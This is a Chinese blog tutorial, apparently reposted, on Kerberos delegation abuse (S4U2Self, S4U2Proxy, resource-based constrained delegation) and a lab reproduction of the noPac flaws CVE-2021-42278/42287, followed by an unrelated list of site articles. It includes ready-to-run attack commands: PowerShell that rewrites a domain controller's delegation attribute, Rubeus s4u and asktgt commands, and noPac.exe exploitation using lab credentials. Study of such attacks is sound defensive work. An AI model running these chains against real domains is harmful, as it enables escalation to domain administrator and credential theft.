【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权

news2025/5/15 7:47:10

【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权


文章目录

  • 【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
    • @[toc]
    • 一:Kerberos 委派攻击原理之 S4U2利用
      • 1.1原理
      • 1.2两种扩展协议
        • **S4U2Self (Service for User to Self)**
        • **S4U2Proxy (Service for User to Proxy)**
      • 1.3 S4U2Self利用过程
        • 1.3.1前提条件
        • 1.3.2利用步骤
      • 1.4S4U2Proxy利用过程
        • 1.4.1利用前提条件
        • 1.4.2详细利用步骤(Rubeus)
      • 1.5:**基于资源的约束委派(RBCD)利用**
    • 二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞复现
      • 2.1概念说明
      • 2.2漏洞复现
        • (1)noPac 利用
        • (2)手动注入分析
    • **修改计算机账户的 `sAMAccountName`(推荐)**

一:Kerberos 委派攻击原理之 S4U2利用

1.1原理

S4U2Self(Service For User to Self)是 Kerberos 协议的一种委托机制,允许服务(Service)代表用户(User)自身获取用户的票证(Ticket)。这个机制在 Windows 环境中广泛应用于网络服务和应用程序,以便在用户访问需要身份验证的资源时,能够以用户的身份获取必要的票证,而无需用户交互地提供凭证。正因有了委托机制才使得攻击者以某个合法用户的身份请求特定服务的票证,然后利用漏洞伪造这些票证,从而获取到更高的权限。

当 Kerberos 无约束委派在服务器上启用,服务器托管了在 TGS-REQ (步骤3)中引用的服务主体名称中指定的服务时,DC 域控制器将用户 TGT 的一个副本放到服务票证中。 当向服务器提供用户的服务票证(TGS)以进行服务访问时,服务器打开 TGS 并将用户的 TGT 放入 LSASS 中供后续使用。 此时,应用程序服务器就可以无限制地假冒该用户

在这里插入图片描述

1.2两种扩展协议

S4U2Self (Service for User to Self)

用途

允许服务代表用户获取 该用户自己的服务票据(ST),而无需用户密码或交互。
典型场景

  • 用户通过非Kerberos方式(如表单认证)登录后,服务需获取用户的Kerberos票据。
  • 约束委派/无约束委派攻击中模拟用户身份。

关键特性

  • 无需用户密码:服务使用自己的TGT请求用户的ST。
  • 票据加密:返回的ST使用 服务账户的密钥 加密(而非用户的)。
  • 权限要求:服务账户需配置 “TrustedToAuthForDelegation”(无约束委派)或约束委派权限。

请求流程

  1. 服务向KDC发送请求,包含:
    • 服务账户的TGT
    • 目标用户的UPN(如user@domain.com
    • 目标SPN(如http/service.domain.com
  2. KDC返回加密的ST(可被服务解密使用)。
S4U2Proxy (Service for User to Proxy)

用途

允许服务在已获得用户授权后,代表用户获取 其他服务的票据(跨服务委派)。
典型场景

  • 三层应用架构中(如Web→DB),Web服务代表用户访问DB服务。
  • 约束委派攻击中横向移动。

关键特性

  • 需用户授权:需先通过S4U2Self获取用户的ST(作为"证据")。
  • 约束限制:仅能委派到 msDS-AllowedToDelegateTo 中指定的服务。
  • 票据转发:最终ST仍以用户身份加密,但由服务代理请求。

请求流程

  1. 服务通过S4U2Self获取用户的ST(如user→http/service)。
  2. 服务向KDC发送请求,包含:
    • 服务账户的TGT
    • 用户的ST(作为授权证据)
    • 目标SPN(如cifs/db.domain.com
  3. KDC返回用户对目标服务的ST(如user→cifs/db)。

1.3 S4U2Self利用过程

1.3.1前提条件
  • 需要拥有一个具有 SPN (Service Principal Name) 的服务账户

    在这里插入图片描述

  • 该服务账户需要被授予 “TrustedToAuthForDelegation” 权限

    在这里插入图片描述

1.3.2利用步骤

(1)获取服务账户凭据

  • 通过密码、哈希或 Kerberos 票据获取服务账户的访问权限

(2)请求 S4U2Self 票据

  • 使用服务账户的 TGT (Ticket Granting Ticket)
  • 为目标用户请求服务票据,指定服务账户的 SPN
  • 使用 KRB_TGS_REQ 请求,包含 PA-FOR-USER 结构

处理响应

  • 接收 KDC 返回的服务票据
  • 票据将加密为服务账户的密钥,而不是目标用户的密钥

使用票据

  • 可以使用该票据访问目标服务
  • 服务会认为请求来自目标用户

可以获得访问权限

1.4S4U2Proxy利用过程

1.4.1利用前提条件
  • 服务账户:拥有SPN的账户
  • 约束委派权限
    • 账户配置了msDS-AllowedToDelegateTo属性
    • 可以委派到指定的服务(如CIFS、LDAP等)
  • 有效的TGT:服务账户的Kerberos票据
  • 用户授权
    • 需要用户的TGS(传统约束委派)
    • 或配置了基于资源的约束委派(Resource-based Constrained Delegation)
1.4.2详细利用步骤(Rubeus)

(1) 识别具有约束委派权限的账户

使用PowerShell或ldapsearch查询域中配置了约束委派的账户

(2)获取服务账户的TGT

使用已获取的服务账户凭据请求TGT

(3)执行S4U2Proxy攻击

(4)使用获取的票据

如果使用了/ptt参数,票据会自动注入当前会话。否则可以手动注入,然后可以使用该票据访问目标服务。

在这里插入图片描述

1.5:基于资源的约束委派(RBCD)利用

当配置了基于资源的约束委派时:

(1) 检查目标计算机的msDS-AllowedToActOnBehalfOfOtherIdentity

Get-NetComputer dc01 | Select-Object -Property msDS-AllowedToActOnBehalfOfOtherIdentity

(2) 配置新的委派关系

$comp = Get-ADComputer dc01
$sid = (Get-ADComputer attackercomputer).SID
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
Set-ADComputer dc01 -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDbytes}

(3) 执行完整的S4U攻击链

Rubeus.exe s4u /user:attackercomputer$ /rc4:<NTLM> /impersonateuser:Administrator /msdsspn:cifs/dc01 /altservice:http /ptt

二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞复现

2.1概念说明

机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。过程如上图所示。

允许攻击者任意修改计算机帐户sAMAccountName字段,进而模拟域控申请票据。

加入域的机器账户默认由结尾,samAccountName默认和域机器名一致。但DC没有对sAMAccountName属性进行合法性判断,导致删除sAMAccountName结尾的$"照样可以以机器用户身份申请TGT票据。

配合 CVE-2021-42278 使用,创建与域控机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self 申请TGS Ticket,接着域控在 TGS_REP 阶段,这个账户不存在的时候,DC会使用自己的密钥加密 TGS Ticket ,提供一个属于该账户的 PAC,然后我们就得到了一个高权限ST。

2.2漏洞复现

域控

域名:test.com
账户:administrator
密码:QAX@123
计算机名:WIN-ISB0SNPKEPI

普通域用户

账户:s4u2
密码:QAX@123
(1)noPac 利用

检查是否存在漏洞

noPac.exe scan -domain test.com -user s4u2 -pass QAX@123

在这里插入图片描述

在这里插入图片描述

noPac.exe -domain test.com -user s4u2 -pass QAX@123 /dc WIN-ISB0SNPKEPI.test.com /mAccount demohb /mPassword QAX@123 /service cifs /ptt

[!NOTE]

参数 说明
-domain htb.local 目标域名。
-user domain_user 普通域用户账号(需具备创建计算机账户的权限)。
-pass ‘Password123!’ 对应用户的密码。
/dc dc02.htb.local 指定域控制器的主机名。
/mAccount demo123 攻击者创建的恶意计算机账户名称(用于名称伪装)。
/mPassword Password123! 恶意计算机账户的密码。
/service cifs 目标服务(通常为 cifs 以访问文件共享)。
/ptt 将生成的票据注入当前会话(Pass-the-Ticket)。

在这里插入图片描述

获得票据信息以及访问权限:

在这里插入图片描述

(2)手动注入分析

具体流程:

  1. 首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad

    addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除

  2. 清除机器账户的servicePrincipalName属性

  3. 将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$

  4. 为机器账户请求TGT

  5. 将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可

  6. 通过S4U2self协议向DC请求ST

  7. 进行 DCsync Attack

普通域账户:s4u2用户是一个普通的域用户:

在这里插入图片描述

在这里插入图片描述

新增机器账户:域用户默认可以新建10个机器账户

在这里插入图片描述

清除SPN信息

在这里插入图片描述

重设机器名称

[!NOTE]

修改计算机账户的 sAMAccountName(推荐)

适用场景

  • 你希望计算机账户在 AD 中显示不带 $ 的名称(但实际 Kerberos 认证仍会使用 COMPUTERNAME$

步骤

  1. 打开 Active Directory 用户和计算机dsa.msc
  2. 找到目标计算机账户(默认在 Computers 容器或自定义 OU)
  3. 右键 → 属性 → 属性编辑器
    • 找到 sAMAccountName,默认值类似 COMPUTERNAME$
    • 修改为不带 $ 的名称(如 COMPUTERNAME
  4. 点击确定保存

注意

  • 修改后,该计算机仍然需要使用 COMPUTERNAME$ 进行 Kerberos 认证$ 是系统必需的)。
  • 只是 sAMAccountName 显示变化,不影响实际功能。

修改计算机的名字

在这里插入图片描述

可以看到已经修改完成了

在这里插入图片描述

Request TGT (请求TGT)

./Rubeus.exe asktgt /user:demo1 /password:QAX@123 /domian:test.com /dc:WIN-ISB0SNPKEPI.test.com /nowrap

[!NOTE]

参数说明
/userDemo1目标计算机账户
/passwordQAX@123计算机账户的密码(可能无效)
/domaintest.com目标域名
/dcWIN-ISB0SNPKEPI.test.com域控制器主机名(需确保可解析)
/nowrap-输出票据不换行

在这里插入图片描述

Request S4U2self(获取票据)

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2375919.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux——CMake的快速入门上手和保姆级使用介绍、一键执行shell脚本

目录 一、前言 二、CMake简介 三、CMake与其他常见的构建、编译工具的联系 四、CMake入门 1、CMake的使用注意事项 2、基本的概念和术语 3、CMake常用的预定义变量 4、CMakeLists.txt文件的基本结构 五、上手实操 1、示例 ​编辑 2、一个正式的工程构建 2.1基本构…

如何高效集成MySQL数据到金蝶云星空

MySQL数据集成到金蝶云星空&#xff1a;SC采购入库-深圳天一-OK案例分享 在企业信息化建设中&#xff0c;数据的高效流转和准确对接是实现业务流程自动化的关键。本文将聚焦于一个具体的系统对接集成案例——“SC采购入库-深圳天一-OK”&#xff0c;详细探讨如何通过轻易云数据…

通过POI实现对word基于书签的内容替换、删除、插入

一、基本概念 POI&#xff1a;即Apache POI&#xff0c; 它是一个开源的 Java 库&#xff0c;主要用于读取 Microsoft Office 文档&#xff08;Word、Excel、PowerPoint 等&#xff09;&#xff0c;修改 或 生成 Office 文档内容&#xff0c;保存 为对应的二进制或 XML 格式&a…

FlashInfer - 测试的GPU H100 SXM、A100 PCIe、RTX 6000 Ada、RTX 4090

FlashInfer - 测试的GPU H100 SXM、A100 PCIe、RTX 6000 Ada、RTX 4090 flyfish GPU 技术参数术语 1. Memory bandwidth (GB/s) 中文&#xff1a;显存带宽&#xff08;单位&#xff1a;GB/秒&#xff09; 定义&#xff1a;显存&#xff08;GPU 内存&#xff09;与 GPU 核心…

MongoDB从入门到实战之Windows快速安装MongoDB

前言 本章节的主要内容是在 Windows 系统下快速安装 MongoDB 并使用 Navicat 工具快速连接。 MongoDB从入门到实战之MongoDB简介 MongoDB从入门到实战之MongoDB快速入门 MongoDB从入门到实战之Docker快速安装MongoDB 下载 MongoDB 安装包 打开 MongoDB 官网下载页面&…

Excelize 开源基础库发布 2.9.1 版本更新

Excelize 是 Go 语言编写的用于操作 Office Excel 文档基础库&#xff0c;基于 ECMA-376&#xff0c;ISO/IEC 29500 国际标准。可以使用它来读取、写入由 Excel、WPS、OpenOffice 等办公软件创建的电子表格文档。支持 XLAM / XLSM / XLSX / XLTM / XLTX 等多种文档格式&#xf…

Profibus DP主站转Modbus RTU/TCP网关接艾默生流量计与上位机通讯

Profibus DP主站转Modbus RTU/TCP网关接艾默生流量计与上位机通讯 艾默生流量计与Profibus DP主站转Modbus RTU/TCP网关的通讯&#xff0c;是现代工业自动化中的一个关键环节。为了实现这一过程&#xff0c;我们需要了解一些基础概念和具体操作方法。 在工业自动化系统中&…

Linux proc文件系统 内存影射

文章目录 常见的内存分配函数/proc/pid/ 目录解析 用户进程的内存空间分配算法mmap 分配大内存可能不在堆中换为 malloc 现象相同 常见的内存分配函数 malloc / calloc / realloc&#xff08;来自 C 标准库&#xff09; void *malloc(size_t size)&#xff1a;分配 size 字节…

五、Hadoop集群部署:从零搭建三节点Hadoop环境(保姆级教程)

作者&#xff1a;IvanCodes 日期&#xff1a;2025年5月7日 专栏&#xff1a;Hadoop教程 前言&#xff1a; 想玩转大数据&#xff0c;Hadoop集群是绕不开的一道坎。很多小伙伴一看到集群部署就头大&#xff0c;各种配置、各种坑。别慌&#xff01;这篇教程就是你的“救生圈”。 …

电流检测放大器的优质选择XBLW-INA180/INA181

前言&#xff1a; 在当前复杂的国际贸易环境下&#xff0c;关税的增加使得电子元器件的采购成本不断攀升&#xff0c;电子制造企业面临着巨大的成本压力。为了有效应对这一挑战&#xff0c;实现国产化替代已成为众多企业降低生产成本、保障供应链稳定的关键战略。对此芯伯乐推出…

# 深度剖析LLM的“大脑”:单层Transformer的思考模式探索

简单说一下哈 —— 咱们打算训练一个单层 Transformer 加上稀疏自编码器的小型百万参数大型语言模型&#xff08;LLM&#xff09;&#xff0c;然后去调试它的思考过程&#xff0c;看看这个 LLM 的思考和人类思考到底有多像。 LLMs 是怎么思考的呢&#xff1f; 开源 LLM 出现之后…

【C++】类与对象【下】

文章目录 再谈构造函数构造函数的赋值构造函数体赋值&#xff1a;初始化列表explicit关键字 static成员概念特性 C11中成员初始化的新玩法友元友元类 内部类概念 再谈构造函数 构造函数的赋值 构造函数体赋值&#xff1a; 在创建对象时&#xff0c;编译器会通过调用构造函数…

无人机避障——如何利用MinumSnap进行对速度、加速度进行优化的轨迹生成(附C++python代码)

&#x1f525;轨迹规划领域的 “YYDS”——minimum snap&#xff01;作为基于优化的二次规划经典&#xff0c;它是无人机、自动驾驶轨迹规划论文必引的 “开山之作”。从优化目标函数到变量曲线表达&#xff0c;各路大神疯狂 “魔改”&#xff0c;衍生出无数创新方案。 &#…

Llama:开源的急先锋

Llama:开源的急先锋 Llama1&#xff1a;开放、高效的基础语言模型 Llama1使用了完全开源的数据&#xff0c;性能媲美GPT-3&#xff0c;可以在社区研究开源使用&#xff0c;只是不能商用。 Llama1提出的Scaling Law 业内普遍认为如果要达到同一个性能指标&#xff0c;训练更…

“redis 目标计算机积极拒绝,无法连接” 解决方法,每次开机启动redis

如果遇到以上问题 先打开“服务” 找到App Readiness 右击-启动 以管理员身份运行cmd&#xff0c;跳转到 安装redis的目录 运行&#xff1a;redis-server.exe redis.windows.conf 以管理员身份打开另一cmd窗口&#xff0c;跳转到安装redis的目录 运行&#xff1a;redis-…

LeetCode 热题 100 35.搜索插入位置

目录 题目&#xff1a; 题目描述&#xff1a; 题目链接&#xff1a; 思路&#xff1a; 核心思路&#xff1a; 思路详解&#xff1a; 代码&#xff1a; Java代码&#xff1a; 题目&#xff1a; 题目描述&#xff1a; 题目链接&#xff1a; 35. 搜索插入位置 - 力扣&…

从 “学会学习” 到高效适应:元学习技术深度解析与应用实践

一、引言&#xff1a;当机器开始 “学会学习”—— 元学习的革命性价值 在传统机器学习依赖海量数据训练单一任务模型的时代&#xff0c;元学习&#xff08;Meta Learning&#xff09;正掀起一场范式革命。 这项旨在让模型 “学会学习” 的技术&#xff0c;通过模仿人类基于经验…

AI开发者的算力革命:GpuGeek平台全景实战指南(大模型训练/推理/微调全解析)

目录 背景一、AI工业化时代的算力困局与破局之道1.1 中小企业AI落地的三大障碍1.2 GpuGeek的破局创新1.3 核心价值 二、GpuGeek技术全景剖析2.1 核心架构设计 三、核心优势详解‌3.1 优势1&#xff1a;工业级显卡舰队‌‌‌3.2 优势2&#xff1a;开箱即用生态‌3.2.1 预置镜像库…

AWS SNS:解锁高并发消息通知与系统集成的云端利器

导语 在分布式系统架构中&#xff0c;如何实现高效、可靠的消息通知与跨服务通信&#xff1f;AWS Simple Notification Service&#xff08;SNS&#xff09;作为全托管的发布/订阅&#xff08;Pub/Sub&#xff09;服务&#xff0c;正在成为企业构建弹性系统的核心组件。本文深度…